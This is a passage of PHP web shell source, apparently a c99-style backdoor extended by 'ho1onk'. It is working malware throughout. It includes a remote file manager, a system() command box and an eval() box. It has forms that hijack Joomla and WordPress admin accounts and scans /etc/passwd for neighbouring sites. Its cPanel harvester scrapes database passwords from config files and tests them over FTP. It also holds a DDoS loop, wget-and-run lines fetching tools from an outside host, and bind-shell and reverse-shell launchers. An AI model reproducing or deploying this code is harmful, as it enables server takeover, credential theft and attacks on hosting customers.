3915 $row[] = " <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
3916
3917 $row[] = "LINK";
3918
3919 }
3920
3921 elseif (is_dir($v))
3922
3923 {
3924
3925 if (is_link($v))
3926
3927 {
3928
3929 $disppath .= " => ".readlink($v);
3930
3931 $type = "LINK";
3932
3933 $row[] = " <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
3934
3935 }
3936
3937 else
3938
3939 {
3940
3941 $type = "DIR";
3942
3943 $row[] = " <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
3944
3945 }
3946
3947 $row[] = $type;
3948
3949 }
3950
3951 elseif(is_file($v))
3952
3953 {
3954
3955 $ext = explode(".",$o);
3956
3957 $c = count($ext)-1;
3958
3959 $ext = $ext[$c];
3960
3961 $ext = strtolower($ext);
3962
3963 $row[] = " <a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
3964
3965 $row[] = view_size($a[1]);
3966
3967 }
3968
3969 $row[] = date("d.m.Y H:i:s",$a[2]);
3970
3971 if (!$win) {$row[] = $a[3];}
3972
3973 $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
3974
3975 if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
3976
3977 else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
3978
3979 if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">INFO</a> | ".$checkbox;}
3980
3981 else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">INFO</a> | <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">EDIT</a> | <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">DL</a> | ".$checkbox;}
3982
3983 if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
3984
3985 elseif (is_link($v)) {$tab["links"][] = $row;}
3986
3987 elseif (is_dir($v)) {$tab["folders"][] = $row;}
3988
3989 elseif (is_file($v)) {$tab["files"][] = $row;}
3990
3991 $i++;
3992
3993 }
3994
3995 }
3996
3997 // Compiling table
3998?>
3999<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 width="100%">
4000<td width="50%" height="1"><center><form action="<?php echo $surl; ?>"><b>Jump Dir >></b><input type=hidden name=act value="ls"><input type="text" name="d" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="Jump"></form><br><form method="POST" ENCTYPE="multipart/form-data"><b>Upload >></b><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1"> <input type=submit name=submit value="Upload"><?php echo $wdt; ?></form></center></td>
4001</table><br>
4002<?php
4003
4004 $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
4005
4006 echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 height=100px width=100% ><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
4007
4008 foreach($table as $row)
4009
4010 {
4011
4012 echo "<tr>\r\n";
4013
4014 foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
4015
4016 echo "</tr>\r\n";
4017
4018 }
4019
4020 echo "</table><hr size=\"1\" noshade><p align=\"right\">
4021
4022 <script>
4023
4024 function ls_setcheckboxall(status)
4025
4026 {
4027
4028 var id = 1;
4029
4030 var num = ".(count($table)-2).";
4031
4032 while (id <= num)
4033
4034 {
4035
4036 document.getElementById('actbox'+id).checked = status;
4037
4038 id++;
4039
4040 }
4041
4042 }
4043
4044 function ls_reverse_all()
4045
4046 {
4047
4048 var id = 1;
4049
4050 var num = ".(count($table)-2).";
4051
4052 while (id <= num)
4053
4054 {
4055
4056 document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
4057
4058 id++;
4059
4060 }
4061
4062 }
4063
4064 </script>
4065
4066 <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
4067
4068 <b>";
4069
4070 if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
4071
4072 {
4073
4074 echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
4075
4076 }
4077
4078 echo "<select name=act><option value=\"".$act."\">With selected:</option>";
4079
4080 echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
4081
4082 echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
4083
4084 if ($usefsbuff)
4085
4086 {
4087
4088 echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
4089
4090 echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
4091
4092 echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
4093
4094 }
4095
4096 echo "</select> <input type=submit value=\"Confirm\"></p>";
4097
4098 echo "</form>";
4099
4100 }
4101
4102}
4103if ($act == 'whois'){
4104
4105
4106echo "<p align=center># Domains & Users</p>";
4107echo "<center>";
4108
4109
4110
4111$d0mains = @file("/etc/named.conf");
4112
4113
4114
4115if(!$d0mains){ echo "# can't ReaD -> [ /etc/named.conf ]"; }
4116
4117else {
4118
4119echo "<table align=center border=1>
4120
4121<tr><td>d0mains</td><td>users</td></tr>";
4122
4123
4124
4125foreach($d0mains as $d0main){
4126
4127
4128
4129if(eregi("zone",$d0main)){
4130
4131
4132
4133preg_match_all('#zone "(.*)"#', $d0main, $domains);
4134
4135flush();
4136
4137
4138
4139if(strlen(trim($domains[1][0])) > 2){
4140
4141
4142
4143$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
4144
4145
4146
4147echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
4148
4149
4150
4151}}}
4152
4153
4154
4155echo "</table>";
4156}
4157}
4158if ($act == 'joomla'){
4159echo "ho1onk Joomla add a new admin<br><br>";
4160if(empty($_POST['pwd'])){
4161
4162echo "<FORM method=\"POST\">
4163<pre>
4164
4165host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\">
4166
4167database : <INPUT size=\"15\" value=\"\" name=\"database\" type=\"text\">
4168
4169username : <INPUT size=\"15\" value=\"\" name=\"username\" type=\"text\">
4170
4171password : <INPUT size=\"15\" value=\"\" name=\"password\" type=\"password\">
4172
4173
4174Set A New Username For Login : <INPUT name=\"admin\" size=\"15\" value=\"admin\"><br>
4175
4176Don`t Change it Password is : (1234567) <INPUT name=\"pwd\" size=\"15\" value=\"be36eecb60eada18b0af1f53e5462904:1JtrY2OJ21PHDxC70tFVN0D2Nbqazun2\"><br>
4177
4178
4179
4180<INPUT value=\"change\" name=\"send\" type=\"submit\">
4181</pre>
4182</FORM>";
4183
4184}else{
4185
4186$localhost = $_POST['localhost'];
4187
4188$database = $_POST['database'];
4189
4190$username = $_POST['username'];
4191
4192$password = $_POST['password'];
4193
4194$pwd = $_POST['pwd'];
4195
4196$admin = $_POST['admin'];
4197
4198
4199
4200
4201
4202 @mysql_connect($localhost,$username,$password) or die(mysql_error());
4203
4204 @mysql_select_db($database) or die(mysql_error());
4205
4206
4207
4208$hash = crypt($pwd);
4209
4210
4211
4212$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
4213
4214$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
4215
4216
4217
4218if($SQL){
4219
4220echo "<b>Success ~ now use a new user and password is : 1234567 </b> ";
4221
4222}
4223
4224
4225
4226}
4227
4228echo "this added by ho1onk";
4229
4230}
4231
4232
4233if ($act == 'wordpress'){
4234echo "ho1onk - Wordpress add a new admin<br><br>";
4235
4236
4237if(empty($_POST['pwd'])){
4238
4239echo "<FORM method=\"POST\">
4240
4241<pre>
4242
4243host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\">
4244
4245database : <INPUT size=\"15\" value=\"\" name=\"database\" type=\"text\">
4246
4247username : <INPUT size=\"15\" value=\"\" name=\"username\" type=\"text\">
4248
4249password : <INPUT size=\"15\" value=\"\" name=\"password\" type=\"password\">
4250
4251
4252Set A New Username For Login : <INPUT name=\"admin\" size=\"15\" value=\"root\">
4253
4254Set A New Password For Login : <INPUT name=\"pwd\" size=\"15\" value=\"root\">
4255
4256
4257<INPUT value=\"change\" name=\"send\" type=\"submit\">
4258</pre>
4259
4260</FORM>";
4261
4262}else{
4263
4264$localhost = $_POST['localhost'];
4265
4266$database = $_POST['database'];
4267
4268$username = $_POST['username'];
4269
4270$password = $_POST['password'];
4271
4272$pwd = $_POST['pwd'];
4273
4274$admin = $_POST['admin'];
4275
4276
4277
4278
4279
4280 @mysql_connect($localhost,$username,$password) or die(mysql_error());
4281
4282 @mysql_select_db($database) or die(mysql_error());
4283
4284
4285
4286$hash = crypt($pwd);
4287
4288$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
4289
4290$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
4291
4292$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
4293
4294$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
4295
4296$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
4297
4298$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
4299
4300$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
4301
4302
4303
4304
4305
4306if($a4s){
4307
4308echo "<b>Berhasil, Silahkan Login dengan user dan password barunya :)</b> ";
4309
4310}
4311
4312
4313
4314}
4315echo "this added by ho1onk";
4316
4317}
4318
4319if ($act == 'nextroom') {
4320
4321$count=0;
4322set_time_limit(0);
4323@$passwd=fopen('/etc/passwd','r');
4324if (!$passwd) {
4325 echo "[-] Kamar SebelahNya Kosong";
4326 exit;
4327}
4328$path_to_public=array();
4329
4330echo "Ok, mari kita mulai !<br><br> \n\r";
4331
4332while(!feof($passwd)) {
4333 $str=fgets($passwd);
4334 $pos=strpos($str,":");
4335 $username=substr($str,0,$pos);
4336 $dirz="/home/$username/public_html/";
4337 if (($username!="")) {
4338 if (is_readable($dirz)) {
4339 array_push($path_to_public,$dirz);
4340 if (is_writeable($dirz)) {
4341 $count++;
4342 echo "<font color=red>[</font><font color=white>R</font><font color=green>W</font><font color=red>]</font> " . $dirz . "<br>\n\r";
4343 }
4344 else echo "<font color=red>[</font><font color=white>R</font><font color=red>]</font> " . $dirz . "<br>\n\r";
4345 }
4346 }
4347}
4348echo "[+]Bos, Pencarian 100% Sukses - Ada " . sizeof($path_to_public) . " Kamar yang dihuni di\n\r\n\r" .gethostbyname($_SERVER["HTTP_HOST"]);
4349
4350echo "\n\r";
4351
4352}
4353
4354
4355
4356if ($act == 'dd0s'){
4357
4358echo '<p align="center">Address : <input name=urldd0 size=50> Time : <input name=timedd0 size=6 value=40000><br><input type=submit value=" DDoS "></form></p>';
4359}
4360
4361if($_GET['urldd0'] && $_GET['timedd0']){
4362for ($id=0;$$id<$_GET['timedd0'];$id++){
4363$fp=null;
4364$contents=null;
4365$fp=fopen($_GET['urldd0'],"rb");
4366while (!feof($fp)) {
4367 $contents .= fread($fp, 8192);
4368}
4369fclose($fp);
4370}}
4371
4372##[ QUICK COMMANDS ]##
4373 #Unix
4374 $cmdaliases = array(
4375 array("List Directory", "ls -al"),
4376 array("Find all suid files", "find / -type f -perm -04000 -ls"),
4377 array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
4378 array("Find all sgid files", "find / -type f -perm -02000 -ls"),
4379 array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
4380 array("Find config.inc.php files", "find / -type f -name config.inc.php"),
4381 array("Find config* files", "find / -type f -name \"config*\""),
4382 array("Find config* files in current dir", "find . -type f -name \"config*\""),
4383 array("Find all writable folders and files", "find / -perm -2 -ls"),
4384 array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
4385 array("Find all writable folders", "find / -type d -perm -2 -ls"),
4386 array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
4387 array("Find all service.pwd files", "find / -type f -name service.pwd"),
4388 array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
4389 array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
4390 array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
4391 array("Find all .bash_history files", "find / -type f -name .bash_history"),
4392 array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
4393 array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
4394 array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
4395 array("List file attributes on a Linux second extended file system", "lsattr -va"),
4396 array("Show opened ports", "netstat -an | grep -i listen"),
4397 array("-----",""),
4398 array("Logged in users","w"),
4399 array("Last connect","lastlog"),
4400 array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
4401 array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
4402 array("Inet Address","/sbin/ifconfig | grep inet"),
4403 array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
4404 array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
4405 array("CPU Info","cat /proc/version /proc/cpuinfo"),
4406 array("Is gcc installed ?","locate gcc"),
4407 array("Format box (DANGEROUS)","rm -Rf"),
4408 array("-----",""),
4409 array("wget & run psyBNC","wget http://blitarhackerlink.info.tm/tools/AhoK.tar.gz;tar -zxvf AhoK.tar.gz;rm -rf AhoK.tar.gz;cd AhoK;./config 41196 ;./run;./fuck"),
4410 array("wget & Go Private Proxy","wget http://blitarhackerlink.info.tm/tools/proxy.tgz;tar -zxvf proxy.tgz;rm -rf proxy.tgz;cd pro;./prox -d -a -p45625"),
4411 );
4412if ($act == 'cmd'){ ?> <form action="?act=cmd" method="post"> <table class="cmdbox"> <textarea class="output" readonly cols="122" rows="10"> <?php if(isset($_POST['submitcmd'])) { echo @system($_POST['cmd']); } ?> </textarea><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:86%;" value="<?php echo htmlspecialchars($cmd); ?>" /><input class="inputzbut" type="submit" value="Execute" name="submitcmd" style="width:12%;" /></table> </form> <?php }
4413
4414if ($act == 'cpanel'){
4415 if ($_GET['go'] == 'go'){
4416 set_time_limit(0);
4417 ##################
4418 @$passwd=fopen('/etc/passwd','r');
4419 if (!$passwd) {
4420 echo "[-] Error : coudn't read /etc/passwd";
4421 exit;
4422 }
4423 $path_to_public=array();
4424 $users=array();
4425 $pathtoconf=array();
4426 $i=0;
4427
4428 while(!feof($passwd)) {
4429 $str=fgets($passwd);
4430 if ($i>35) {
4431 $pos=strpos($str,":");
4432 $username=substr($str,0,$pos);
4433 $dirz="/home/$username/public_html/";
4434 if (($username!="")) {
4435 if (is_readable($dirz)) {
4436 array_push($users,$username);
4437 array_push($path_to_public,$dirz);
4438 }
4439 }
4440 }
4441 $i++;
4442 }
4443 ###################
4444
4445 #########################
4446 function read_dir($path,$username) {
4447 if ($handle = opendir($path)) {
4448 while (false !== ($file = readdir($handle))) {
4449 $fpath="$path$file";
4450 if (($file!='.') and ($file!='..')) {
4451 if (is_readable($fpath)) {
4452 $dr="$fpath/";
4453 if (is_dir($dr)) {
4454 read_dir($dr,$username);
4455 }
4456 else {
4457 if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) {
4458 $pass=get_pass($fpath);
4459 if ($pass!='') {
4460 echo "[+] $fpath\n$pass\n";
4461 ftp_check($username,$pass);
4462 }
4463 }
4464 }
4465 }
4466 }
4467 }
4468 }
4469 }
4470
4471 function get_pass($link) {
4472 @$config=fopen($link,'r');
4473 while(!feof($config)) {
4474 $line=fgets($config);
4475 if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
4476 if (strrpos($line,'"'))
4477 $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
4478 else
4479 $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
4480 return $pass;
4481 }
4482 }
4483 }
4484
4485 function ftp_check($login,$pass) {
4486 @$ftp=ftp_connect('127.0.0.1');
4487 if ($ftp) {
4488 @$res=ftp_login($ftp,$login,$pass);
4489 if ($res) {
4490 echo '[cPanel Found] '.$login.':'.$pass." Success\n";
4491 }
4492 else ftp_quit($ftp);
4493 }
4494 }
4495
4496 echo "<br><br>";
4497 echo "<textarea name='main_window' cols=100 rows=20>";
4498
4499 echo "[+] Found ".sizeof($users)." entrys in /etc/passwd\n";
4500 echo "[+] Found ".sizeof($path_to_public)." readable public_html directories\n";
4501
4502 echo "[~] Searching for passwords in config.* files...\n\n";
4503 foreach ($users as $user) {
4504 $path="/home/$user/public_html/";
4505 read_dir($path,$user);
4506 }
4507
4508 echo "\n[+] Done\n";
4509
4510 echo "</textarea><br>";
4511 }else
4512 echo '<center>Are you sure you would like to search for cPanel accounts on this website/server?<br>Please note this may take a long time to execute depending on the website/server it is run on.<br><br><a href="'.$surl.'act=cpanel&go=go">Yes</a> || <a href="'.$surl.'">No</a></center>';
4513}
4514
4515
4516
4517if ($act == "tools")
4518
4519{
4520
4521 $bndportsrcs = array(
4522
4523 "c999sh_bindport.pl"=>array("Using PERL","perl %path %port"),
4524
4525 "c999sh_bindport.c"=>array("Using C","%path %port %pass")
4526
4527 );
4528
4529 $bcsrcs = array(
4530
4531 "c999sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
4532
4533 "c999sh_backconn.c"=>array("Using C","%path %host %port")
4534
4535 );
4536
4537 $msg = $_POST['backcconnmsg'];
4538 $emsg = $_POST['backcconnmsge'];
4539 echo("<b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
4540 Bind Port: <input type='text' name='backconnectport' value='5992'>
4541 <input type='hidden' name='use' value='shbd'>
4542 <input type='submit' value='Install Backdoor'></form>");
4543 echo("$msg");
4544 echo("$emsg");
4545
4546 $dpsrcs = array(
4547
4548 "c999sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
4549
4550 "c999sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
4551
4552 );
4553
4554 if (!is_array($bind)) {$bind = array();}
4555
4556 if (!is_array($bc)) {$bc = array();}
4557
4558 if (!is_array($datapipe)) {$datapipe = array();}
4559
4560
4561
4562 if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
4563
4564 if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
4565
4566
4567
4568 if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
4569
4570 if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
4571
4572
4573
4574 if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
4575
4576 if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
4577
4578 if (!empty($bindsubmit))
4579
4580 {
4581
4582 echo "<b>Result of binding port:</b><br>";
4583
4584 $v = $bndportsrcs[$bind["src"]];
4585
4586 if (empty($v)) {echo "Unknown file!<br>";}
4587
4588 elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
4589
4590 else
4591
4592 {
4593
4594 $w = explode(".",$bind["src"]);
4595
4596 $ext = $w[count($w)-1];
4597
4598 unset($w[count($w)-1]);
4599
4600 $srcpath = join(".",$w).".".rand(0,999).".".$ext;
4601
4602 $binpath = $tmpdir.join(".",$w).rand(0,999);
4603
4604 if ($ext == "pl") {$binpath = $srcpath;}
4605
4606 @unlink($srcpath);
4607
4608 $fp = fopen($srcpath,"ab+");
4609
4610 if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
4611
4612 elseif (!$data = c999getsource($bind["src"])) {echo "Can't download sources!";}
4613
4614 else
4615
4616 {
4617
4618 fwrite($fp,$data,strlen($data));
4619
4620 fclose($fp);
4621
4622 if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
4623
4624 $v[1] = str_replace("%path",$binpath,$v[1]);
4625
4626 $v[1] = str_replace("%port",$bind["port"],$v[1]);
4627
4628 $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
4629
4630 $v[1] = str_replace("//","/",$v[1]);
4631
4632 $retbind = myshellexec($v[1]." > /dev/null &");
4633
4634 sleep(5);
4635
4636 $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
4637
4638 if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
4639
4640 else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
4641
4642 }
4643
4644 echo "<br>";
4645
4646 }
4647
4648 }
4649
4650 if (!empty($bcsubmit))
4651
4652 {
4653
4654 echo "<b>Result of back connection:</b><br>";
4655
4656 $v = $bcsrcs[$bc["src"]];
4657
4658 if (empty($v)) {echo "Unknown file!<br>";}
4659
4660 else
4661
4662 {
4663
4664 $w = explode(".",$bc["src"]);
4665
4666 $ext = $w[count($w)-1];
4667
4668 unset($w[count($w)-1]);
4669
4670 $srcpath = join(".",$w).".".rand(0,999).".".$ext;
4671
4672 $binpath = $tmpdir.join(".",$w).rand(0,999);
4673
4674 if ($ext == "pl") {$binpath = $srcpath;}
4675
4676 @unlink($srcpath);
4677
4678 $fp = fopen($srcpath,"ab+");
4679
4680 if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
4681
4682 elseif (!$data = c999getsource($bc["src"])) {echo "Can't download sources!";}
4683
4684 else
4685
4686 {
4687
4688 fwrite($fp,$data,strlen($data));
4689
4690 fclose($fp);
4691
4692 if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
4693
4694 $v[1] = str_replace("%path",$binpath,$v[1]);
4695
4696 $v[1] = str_replace("%host",$bc["host"],$v[1]);
4697
4698 $v[1] = str_replace("%port",$bc["port"],$v[1]);
4699
4700 $v[1] = str_replace("//","/",$v[1]);
4701
4702 $retbind = myshellexec($v[1]." > /dev/null &");
4703
4704 echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
4705
4706 }
4707
4708 }
4709
4710 }
4711
4712 if (!empty($dpsubmit))
4713
4714 {
4715
4716 echo "<b>Result of datapipe-running:</b><br>";
4717
4718 $v = $dpsrcs[$datapipe["src"]];
4719
4720 if (empty($v)) {echo "Unknown file!<br>";}
4721
4722 elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
4723
4724 else
4725
4726 {
4727
4728 $srcpath = $tmpdir.$datapipe["src"];
4729
4730 $w = explode(".",$datapipe["src"]);
4731
4732 $ext = $w[count($w)-1];
4733
4734 unset($w[count($w)-1]);
4735
4736 $srcpath = join(".",$w).".".rand(0,999).".".$ext;
4737
4738 $binpath = $tmpdir.join(".",$w).rand(0,999);
4739
4740 if ($ext == "pl") {$binpath = $srcpath;}
4741
4742 @unlink($srcpath);
4743
4744 $fp = fopen($srcpath,"ab+");
4745
4746 if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
4747
4748 elseif (!$data = c999getsource($datapipe["src"])) {echo "Can't download sources!";}
4749
4750 else
4751
4752 {
4753
4754 fwrite($fp,$data,strlen($data));
4755
4756 fclose($fp);
4757
4758 if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
4759
4760 list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
4761
4762 $v[1] = str_replace("%path",$binpath,$v[1]);
4763
4764 $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
4765
4766 $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
4767
4768 $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
4769
4770 $v[1] = str_replace("//","/",$v[1]);
4771
4772 $retbind = myshellexec($v[1]." > /dev/null &");
4773
4774 sleep(5);
4775
4776 $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
4777
4778 if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
4779
4780 else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
4781
4782 }
4783
4784 echo "<br>";
4785
4786 }
4787
4788 }
4789
4790 ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php
4791
4792 foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
4793
4794 ?></select> <input type=submit name=bindsubmit value="Bind"></form>
4795
4796<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php
4797
4798foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
4799
4800?></select> <input type=submit name=bcsubmit value="Connect"></form>
4801
4802Click "Connect" only after open port for it. You should use NetCat©, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
4803
4804<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php
4805
4806foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
4807
4808?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
4809
4810}
4811
4812
4813if ($act == "eval")
4814
4815{
4816
4817 if (!empty($eval))
4818
4819 {
4820
4821 echo "<b>Result of execution this PHP-code</b>:<br>";
4822
4823 $tmp = ob_get_contents();
4824
4825 $olddir = realpath(".");
4826
4827 @chdir($d);
4828
4829 if ($tmp)
4830
4831 {
4832
4833 ob_clean();
4834
4835 eval($eval);
4836
4837 $ret = ob_get_contents();
4838
4839 $ret = convert_cyr_string($ret,"d","w");
4840
4841 ob_clean();
4842
4843 echo $tmp;
4844
4845 if ($eval_txt)
4846
4847 {
4848
4849 $rows = count(explode("\r\n",$ret))+1;
4850
4851 if ($rows < 10) {$rows = 10;}
4852
4853 echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
4854
4855 }
4856
4857 else {echo $ret."<br>";}
4858
4859 }
4860
4861 else
4862
4863 {
4864
4865 if ($eval_txt)
4866
4867 {
4868
4869 echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
4870
4871 eval($eval);
4872
4873 echo "</textarea>";
4874
4875 }
4876
4877 else {echo $ret;}
4878
4879 }
4880
4881 @chdir($olddir);
4882
4883 }
4884
4885 else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
4886
